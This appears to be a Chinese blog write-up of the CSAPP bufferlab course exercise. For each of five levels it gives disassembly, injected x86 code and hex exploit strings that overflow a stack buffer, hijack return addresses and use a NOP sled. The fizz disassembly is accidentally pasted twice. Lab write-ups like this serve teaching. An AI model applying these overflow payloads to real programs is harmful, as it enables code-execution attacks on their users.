【csapp】bufferlab

文章目录

      • 实验要求
      • 实验内容
        • Level 0
        • Level 1
        • Level 2
        • Level 3
        • Level 4

实验要求

  1. Level 0 test 运行完后,不直接返回退出,而是跳到smoke函数处,继续运行,当 smoke 运行完毕后退出
  2. Level 1 在 Level 0 的基础上,使 getbuf 函数的返回指向 fizz 函数,同时将 fizz 函数的参数置为 userid 对应的 cookie 值
  3. Level 2 使 getbuf 调用后不执行 test 函数,而是执行 bang 函数,但是同时要修改global_value 的值为 cookie 值
  4. Level 3 使 getbuf 调用后,返回到 test 当中,但是不能破坏为 test 函数维护的堆栈状态,同时要让 test 函数调用 getbuf 后的返回值为自己的 cookie
  5. Level 4 要求和 Level 3 一致,但需要加上 –n 参数运行 bufbomb,此时会进入 testn 和 getbufn 函数而不是 test 和 getbuf 函数

实验内容

Level 0

反汇编得到getbuf函数的汇编代码:

08049342 :
 8049342:	55                   	push   %ebp
 8049343:	89 e5                	mov    %esp,%ebp
 8049345:	83 ec 38             	sub    $0x38,%esp
 8049348:	83 ec 0c             	sub    $0xc,%esp
 804934b:	8d 45 ce             	lea    -0x32(%ebp),%eax
 804934e:	50                   	push   %eax
 804934f:	e8 ba fa ff ff       	call   8048e0e 
 8049354:	83 c4 10             	add    $0x10,%esp
 8049357:	b8 01 00 00 00       	mov    $0x1,%eax
 804935c:	c9                   	leave  
 804935d:	c3                   	ret    

可以发现-0x32(%ebp)作为参数传给Gets,也就是我们输入的字符串的首地址就是ebp-0x32,输入的内容存放在从此向上的位置,转换成十进制就是ebp-50,画出getbuf大致的栈帧结构:
【csapp】bufferlab_第1张图片

需要把返回地址修改为smoke的起始地址,中间需要填充50+4个字节的内容,也就是填写五十个字符。
再看一下smoke的起始地址:
image-20231201223116833

所以答案就有了:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 
a1 8b 04 08 /* smoke入口 */

测试一下可以通过:
image-20231201232806297

Level 1

这题要求在上题输入的字符串的基础上插入一个参数cookie,从上图中也可以看出这个cookie的值是0x180f29c9,对应的字符串序列就是c9 29 0f 18,重点在于这段字符要插入到哪里。

首先看fizz的反汇编:

08048bce :
 8048bce:	55                   	push   %ebp
 8048bcf:	89 e5                	mov    %esp,%ebp
 8048bd1:	83 ec 08             	sub    $0x8,%esp
 8048bd4:	8b 55 08             	mov    0x8(%ebp),%edx
 8048bd7:	a1 38 d1 04 08       	mov    0x804d138,%eax
 8048bdc:	39 c2                	cmp    %eax,%edx
 8048bde:	75 22                	jne    8048c02 
 8048be0:	83 ec 08             	sub    $0x8,%esp
 8048be3:	ff 75 08             	push   0x8(%ebp)
 8048be6:	68 4b a3 04 08       	push   $0x804a34b
 8048beb:	e8 50 fc ff ff       	call   8048840 
 8048bf0:	83 c4 10             	add    $0x10,%esp
 8048bf3:	83 ec 0c             	sub    $0xc,%esp
 8048bf6:	6a 01                	push   $0x1
 8048bf8:	e8 c2 08 00 00       	call   80494bf 
 8048bfd:	83 c4 10             	add    $0x10,%esp
 8048c00:	eb 13                	jmp    8048c15 
 8048c02:	83 ec 08             	sub    $0x8,%esp
 8048c05:	ff 75 08             	push   0x8(%ebp)
 8048c08:	68 6c a3 04 08       	push   $0x804a36c
 8048c0d:	e8 2e fc ff ff       	call   8048840 
 8048c12:	83 c4 10             	add    $0x10,%esp
 8048c15:	83 ec 0c             	sub    $0xc,%esp
 8048c18:	6a 00                	push   $0x0
 8048c1a:	e8 01 fd ff ff       	call   8048920  :
 8048bce:	55                   	push   %ebp
 8048bcf:	89 e5                	mov    %esp,%ebp
 8048bd1:	83 ec 08             	sub    $0x8,%esp
 8048bd4:	8b 55 08             	mov    0x8(%ebp),%edx
 8048bd7:	a1 38 d1 04 08       	mov    0x804d138,%eax
 8048bdc:	39 c2                	cmp    %eax,%edx
 8048bde:	75 22                	jne    8048c02 
 8048be0:	83 ec 08             	sub    $0x8,%esp
 8048be3:	ff 75 08             	push   0x8(%ebp)
 8048be6:	68 4b a3 04 08       	push   $0x804a34b
 8048beb:	e8 50 fc ff ff       	call   8048840 
 8048bf0:	83 c4 10             	add    $0x10,%esp
 8048bf3:	83 ec 0c             	sub    $0xc,%esp
 8048bf6:	6a 01                	push   $0x1
 8048bf8:	e8 c2 08 00 00       	call   80494bf 
 8048bfd:	83 c4 10             	add    $0x10,%esp
 8048c00:	eb 13                	jmp    8048c15 
 8048c02:	83 ec 08             	sub    $0x8,%esp
 8048c05:	ff 75 08             	push   0x8(%ebp)
 8048c08:	68 6c a3 04 08       	push   $0x804a36c
 8048c0d:	e8 2e fc ff ff       	call   8048840 
 8048c12:	83 c4 10             	add    $0x10,%esp
 8048c15:	83 ec 0c             	sub    $0xc,%esp
 8048c18:	6a 00                	push   $0x0
 8048c1a:	e8 01 fd ff ff       	call   8048920 

fizz的地址是0x8048bceebp+4是调用者返回地址,应修改为fizz的地址,ebp+8是参数的地址,所以应该把这个位置修改为cookie,所以答案就有了:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 
ce 8b 04 08 /* fizz入口地址 */
00 00 00 00 
c9 29 0f 18 /* fizz参数地址 */

测试一下可以通过:

Level 2

先看bang的反汇编:

08048c1f :
 8048c1f:	55                   	push   %ebp
 8048c20:	89 e5                	mov    %esp,%ebp
 8048c22:	83 ec 08             	sub    $0x8,%esp
 8048c25:	a1 40 d1 04 08       	mov    0x804d140,%eax
 8048c2a:	89 c2                	mov    %eax,%edx
 8048c2c:	a1 38 d1 04 08       	mov    0x804d138,%eax
 8048c31:	39 c2                	cmp    %eax,%edx
 8048c33:	75 25                	jne    8048c5a 
 8048c35:	a1 40 d1 04 08       	mov    0x804d140,%eax
 8048c3a:	83 ec 08             	sub    $0x8,%esp
 8048c3d:	50                   	push   %eax
 8048c3e:	68 8c a3 04 08       	push   $0x804a38c
 8048c43:	e8 f8 fb ff ff       	call   8048840 
 8048c48:	83 c4 10             	add    $0x10,%esp
 8048c4b:	83 ec 0c             	sub    $0xc,%esp
 8048c4e:	6a 02                	push   $0x2
 8048c50:	e8 6a 08 00 00       	call   80494bf 
 8048c55:	83 c4 10             	add    $0x10,%esp
 8048c58:	eb 16                	jmp    8048c70 
 8048c5a:	a1 40 d1 04 08       	mov    0x804d140,%eax
 8048c5f:	83 ec 08             	sub    $0x8,%esp
 8048c62:	50                   	push   %eax
 8048c63:	68 b1 a3 04 08       	push   $0x804a3b1
 8048c68:	e8 d3 fb ff ff       	call   8048840 
 8048c6d:	83 c4 10             	add    $0x10,%esp
 8048c70:	83 ec 0c             	sub    $0xc,%esp
 8048c73:	6a 00                	push   $0x0
 8048c75:	e8 a6 fc ff ff       	call   8048920 

bang的入口地址是0x08048c1f,由8048c25: a1 40 d1 04 08 mov 0x804d140, %eax可知global_val的存放地址是0x804d140,可以调试验证一下:
image-20231203164420440

可以先把global_value的值修改为cookie0x180f29c9,通过mov指令实现这一步。

然后再把bang的入口地址压栈,接着调用ret指令,此时ret会把刚刚压入的地址弹出栈并跳转执行。

所以需要插入指令如下:

mov   $0x180f29c9, 0x804d140
push  $0x08048c1f
ret

然后把它转换为机器码,这里我是用的方法是先创建一个temp.s文件,然后在文件中填充上述汇编指令。通过gcc -c temp.s将其编译成temp.o文件,然后通过objdump -d -S temp.o文件将其对应的汇编代码和机器码都打印出来,得到的结果如下:
【csapp】bufferlab_第2张图片

0000000000000000 <.text>:
   0:   c7 04 25 40 d1 04 08    movl   $0x180f29c9,0x804d140
   7:   c9 29 0f 18 
   b:   68 1f 8c 04 08          push   $0x8048c1f
  10:   c3                      ret

现在代码有了,假设把代码插入到一开始输入的位置,也就是ebp-50,可以把返回地址改为我们插入的位置,这样getbuf函数ret后就会跳转到我们插入的指令,最终执行bang

所以需要知道ebp-50的具体值,在getbuf调用Gets之前看一下eax的值就可以得到:
image-20231203174115929

所以返回地址填充为:0x55683c9e,于是可以构造如下答案:

c7 04 25 40 d1 04 08 c9 29 0f 18 68 1f 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 
9e 3c 68 55 /* 攻击代码地址 */

测试通过:
【csapp】bufferlab_第3张图片

Level 3

getbuf()的返回值存储在eax中,所以把eax的值修改为cookie即可。

这里还是采用和level2一样的方法,先用mov指令修改eax,此时要求程序正常返回,也就是要执行调用完getbuf()的下一行指令,查看test函数可以得到地址0x8048c8d
image-20231203181131612

所以可以插入指令:

mov   $0x180f29c9, %eax
push  $0x08048c8d
ret

用同样的方法得到机器码:

0000000000000000 <.text>:
   0:   b8 c9 29 0f 18          mov    $0x180f29c9,%eax
   5:   68 8d 8c 04 08          push   $0x8048c8d
   a:   c3

题目还要求恢复原来的ebp,因为要从getbuftest,所以应该在getbuf的第一行打个断点记录此时ebp的值为0x55683cf0
image-20231203224051011

这个在构造答案的时候,对应ebp的位置本来是几就填充几就好了,也就是返回地址前面四个字节就填充0x55683cf0

所以构造答案如下:

b8 c9 29 0f 18 68 8d 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
f0 3c 68 55 /* ebp原值 */
9e 3c 68 55 /* 攻击代码地址 */

测试通过:
image-20231203225338524

Level 4

这道题要求使用-n命令运行bufbomb,使其开启栈随机化,这样就导致每次调用时栈空间不一样。这个阶段会调用五次getbufn,每次存储的ebp的值不一样,差值在±240,可以看一下每次的取值:
【csapp】bufferlab_第4张图片

先看一下getbufn的反汇编:

0804935e :
 804935e:	55                   	push   %ebp
 804935f:	89 e5                	mov    %esp,%ebp
 8049361:	81 ec c8 02 00 00    	sub    $0x2c8,%esp
 8049367:	83 ec 0c             	sub    $0xc,%esp
 804936a:	8d 85 3e fd ff ff    	lea    -0x2c2(%ebp),%eax
 8049370:	50                   	push   %eax
 8049371:	e8 98 fa ff ff       	call   8048e0e 
 8049376:	83 c4 10             	add    $0x10,%esp
 8049379:	b8 01 00 00 00       	mov    $0x1,%eax
 804937e:	c9                   	leave  
 804937f:	c3                   	ret    

此时buf的首地址为ebp-706,给buf开辟了706个字节的空间。

文档中提到了利用nop指令,查阅资料得知nop指令的机器代码为0x90,功能是使程序计数器加一,也就是一个一个地跳指令。

我们要做的是找出ebp出现过的最大值0x55683cd0,再减去0x2c2,即是最高的buf起始地址:0x55683a0e。应该让程序跳转到最高的buf地址,然后一路nop,一直走到攻击代码。即返回地址应该填充0x55683a0e

接下来需要还原ebp。观察testn的部分代码:

08048cf4 :
 8048cf4:	55                   	push   %ebp
 8048cf5:	89 e5                	mov    %esp,%ebp
 8048cf7:	83 ec 18             	sub    $0x18,%esp
 8048cfa:	e8 ce 03 00 00       	call   80490cd 
 8048cff:	89 45 f0             	mov    %eax,-0x10(%ebp)
 8048d02:	e8 57 06 00 00       	call   804935e 
 8048d07:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048d0a:	e8 be 03 00 00       	call   80490cd 

每次的ebp是会变的,但esp是不变的,所以可以通过esp间接计算ebp的值进行还原。后面减去了0x18,所以ebp=esp+0x18。可以通过指令lea 0x18(%esp), %ebp来还原getbuf开始时ebp的值。

此外还要修改eax的值为cookie,这就跟此前一样了:mov $0x180f29c9, %eax

之后程序要跳转到调用getbufn的下一句继续执行,也就是0x08048d07

所以攻击代码就有了:

lea   0x18(%esp), %ebp
mov   $0x180f29c9, %eax
push  $0x8048d07
ret

转换为对应的机器码:

0000000000000000 <.text>:
   0:   8d 6c 24 18          lea    0x18(%esp),%ebp
   5:   b8 c9 29 0f 18          mov    $0x180f29c9,%eax
   a:   68 07 8d 04 08          push   $0x8048d07
   f:   c3                      ret

这里出了点小问题,我转出来的lea指令实际是67 8d 6c 24 18,但是就是过不去,把67删掉就对了。

接下来构造攻击字符串,buf需要填充706(buf的大小)+4(ebp旧值)+4(返回地址)=714个字节,攻击代码要尽可能靠后填,所以前一部分填充nop指令(0x90),剩下的填充攻击代码和返回地址。其中返回地址填充buf的最大起始地址,也就是0x55683a0e,放在最后4个字节。紧跟着前面就是攻击代码的机器码,共计15个字节,前面的695个字节全部填充nop,所以构造字符串如下:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* 695个nop */
b8 c9 29 0f 18 8d 6c 24 18 68 07 8d 04 08 c3 /* 攻击代码 */
0e 3a 68 55 /* 返回地址 */

测试通过:
【csapp】bufferlab_第5张图片

你可能感兴趣的:(随想随写,linux)